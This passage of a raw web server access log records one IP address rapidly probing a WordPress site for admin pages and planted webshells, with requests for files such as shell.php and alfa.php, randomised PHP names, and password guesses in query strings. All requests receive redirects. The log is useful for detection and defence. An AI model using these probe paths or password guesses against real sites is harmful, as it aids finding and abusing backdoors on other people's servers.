/wikindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:12 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:13 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:14 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:14 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:14 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:15 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:15 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:16 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:16 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:16 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:17 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:17 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:18 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:18 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:19 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:19 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:19 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:20 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:20 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:20 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:21 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:21 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:22 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:22 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:23 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:23 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:23 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:24 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:24 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:24 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:25 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:25 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:25 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:26 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:26 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:27 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:27 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:27 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:28 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:28 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:28 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:29 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:29 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:30 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:30 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:30 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:31 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:31 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:31 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:32 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:32 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:32 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:33 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:33 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:34 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:34 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:34 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:35 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:35 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:36 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:36 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:36 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:37 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:37 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:38 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:38 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:39 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:39 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:40 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:40 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:41 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:41 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:41 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:42 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:42 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:43 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:43 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:44 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:44 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:44 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:45 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:45 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:45 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:46 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:46 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:47 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:48 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:48 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:48 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:49 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:49 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:49 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:50 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:50 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:50 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:51 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:51 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:51 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:52 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:52 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:53 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:53 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:53 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:54 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:54 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:55 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:55 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:55 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:56 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:56 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:56 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:57 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:58 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:58 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:58 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:59 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:59 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:44:59 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:00 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:00 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:01 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:01 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:01 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:02 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:02 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:02 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:03 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:03 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:04 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:04 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:05 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:05 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:06 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:07 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:08 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:08 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:09 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:09 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:10 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:10 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:11 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:11 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:12 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:12 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:13 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:13 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:14 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:14 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:15 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:15 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:15 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:16 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:17 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:17 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:17 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:18 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:18 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:19 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:19 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:20 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:20 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:21 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:21 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:22 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:22 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:22 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:23 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:24 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:24 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:25 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:25 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:25 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:26 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:26 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:27 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:27 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:27 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:28 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:28 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:29 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:29 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:30 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:30 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:31 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:31 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:32 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:32 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:33 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:33 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:34 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:34 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:34 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:35 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:35 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:35 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:36 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:37 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:37 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:38 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:38 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:38 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:39 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:39 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:40 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:40 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:41 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:41 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:41 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:42 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:42 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:42 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:43 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:43 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:44 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:44 